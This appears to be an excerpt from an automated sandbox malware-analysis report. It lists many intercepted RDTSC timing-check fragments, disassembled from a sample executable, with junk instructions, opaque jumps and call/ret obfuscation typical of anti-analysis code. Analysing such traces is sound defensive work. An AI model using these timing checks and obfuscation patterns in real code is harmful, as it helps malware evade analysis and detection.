Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DEAC9 second address: 13DEACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DED9B second address: 13DEDCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93531h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA94CE93538h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DEDCC second address: 13DEDDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DEDDE second address: 13DEDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FA94CE9352Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DEDF1 second address: 13DEE17 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA94CE9193Bh 0x00000008 jc 00007FA94CE91926h 0x0000000e jmp 00007FA94CE9192Fh 0x00000013 pushad 0x00000014 jnc 00007FA94CE91926h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D497A second address: 13D4981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D4981 second address: 13D499A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE91933h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D499A second address: 13D49B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FA94CE93528h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jp 00007FA94CE93526h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D49B5 second address: 13D49D2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA94CE91926h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA94CE9192Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13D49D2 second address: 13D49D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13A97C7 second address: 13A981E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA94CE91934h 0x0000000d push esi 0x0000000e jmp 00007FA94CE91933h 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007FA94CE9192Eh 0x0000001f pushad 0x00000020 popad 0x00000021 jc 00007FA94CE91926h 0x00000027 jmp 00007FA94CE91933h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF0C9 second address: 13DF0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF0D3 second address: 13DF0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF71E second address: 13DF722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF722 second address: 13DF733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE9192Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF733 second address: 13DF738 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF9DE second address: 13DF9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA94CE9192Fh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DF9F6 second address: 13DF9FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DFB51 second address: 13DFB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DFB55 second address: 13DFB85 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA94CE93528h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 jnp 00007FA94CE93526h 0x00000019 jmp 00007FA94CE9352Ch 0x0000001e popad 0x0000001f jo 00007FA94CE9352Ah 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DFB85 second address: 13DFB8F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA94CE91932h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DFB8F second address: 13DFB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13DFB95 second address: 13DFB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E1FFD second address: 13E2011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jng 00007FA94CE93526h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E2011 second address: 13E201A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E201A second address: 13E201E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13AB320 second address: 13AB324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13AB324 second address: 13AB32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13AB32A second address: 13AB336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA94CE91926h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E5175 second address: 13E5179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E55FB second address: 13E55FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E55FF second address: 13E5623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA94CE93539h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E5867 second address: 13E587A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA94CE91926h 0x0000000a popad 0x0000000b jng 00007FA94CE9192Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E587A second address: 13E58A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jne 00007FA94CE93530h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA94CE9352Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EA13F second address: 13EA144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EA144 second address: 13EA14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E96B8 second address: 13E96C2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA94CE91932h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E96C2 second address: 13E96C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E9DB4 second address: 13E9DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA94CE91926h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E9DC5 second address: 13E9DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E9DC9 second address: 13E9DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13E9DDE second address: 13E9DE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED4C0 second address: 13ED4CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FA94CE91926h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED570 second address: 13ED580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED580 second address: 13ED595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jnc 00007FA94CE9192Eh 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED595 second address: 13ED5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jc 00007FA94CE93526h 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FA94CE93538h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED5C4 second address: 13ED60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FA94CE91928h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 add dword ptr [ebp+122D1CBCh], ebx 0x00000027 call 00007FA94CE91929h 0x0000002c jmp 00007FA94CE9192Dh 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED60B second address: 13ED60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED60F second address: 13ED615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED966 second address: 13ED970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA94CE93526h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED970 second address: 13ED983 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ED983 second address: 13ED99E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE93537h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EE310 second address: 13EE331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91936h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EE4B9 second address: 13EE4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EE6D5 second address: 13EE6DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F068A second address: 13F068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13EF5EE second address: 13EF5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F0C8C second address: 13F0C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F0C92 second address: 13F0CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007FA94CE9192Dh 0x0000000c nop 0x0000000d call 00007FA94CE9192Ah 0x00000012 add edi, 7262B4DFh 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b add esi, 35A052E9h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007FA94CE91928h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d mov dword ptr [ebp+122D32ACh], eax 0x00000043 xchg eax, ebx 0x00000044 push esi 0x00000045 push edi 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F0CEF second address: 13F0D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FA94CE93528h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F1CD9 second address: 13F1CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F2734 second address: 13F2738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F2738 second address: 13F2792 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA94CE91928h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f stc 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007FA94CE91928h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c xor dword ptr [ebp+122D1AE1h], eax 0x00000032 push 00000000h 0x00000034 mov di, 5A31h 0x00000038 mov esi, 266BC453h 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FA94CE91937h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F3C54 second address: 13F3CBB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA94CE9352Ch 0x00000008 jbe 00007FA94CE93526h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA94CE93533h 0x00000017 pop edx 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FA94CE93528h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 xor edi, 5B041046h 0x00000039 push 00000000h 0x0000003b add edi, 63C0DDC1h 0x00000041 push 00000000h 0x00000043 mov si, 89E1h 0x00000047 adc esi, 123B5213h 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F3CBB second address: 13F3CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d jp 00007FA94CE91955h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA94CE91932h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F39E4 second address: 13F39E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13A6003 second address: 13A6009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F8FD4 second address: 13F8FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F94D2 second address: 13F94DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FA94CE91926h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FA5E1 second address: 13FA5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13F58A6 second address: 13F58AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FFAC3 second address: 13FFAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FFAC7 second address: 13FFAD7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FFAD7 second address: 13FFADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FFADD second address: 13FFB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 or di, 1E8Ah 0x0000000c push 00000000h 0x0000000e je 00007FA94CE91928h 0x00000014 push ebx 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FA94CE91928h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 xchg eax, esi 0x00000033 jmp 00007FA94CE91935h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FFB2F second address: 13FFB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ACDD7 second address: 13ACDDE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13ACDDE second address: 13ACDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FA7D7 second address: 13FA7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1404113 second address: 1404117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1404117 second address: 140411D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FDBD9 second address: 13FDBDF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FDBDF second address: 13FDBFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FEB42 second address: 13FEB48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1405099 second address: 140509D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13FDBFA second address: 13FDC17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93536h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
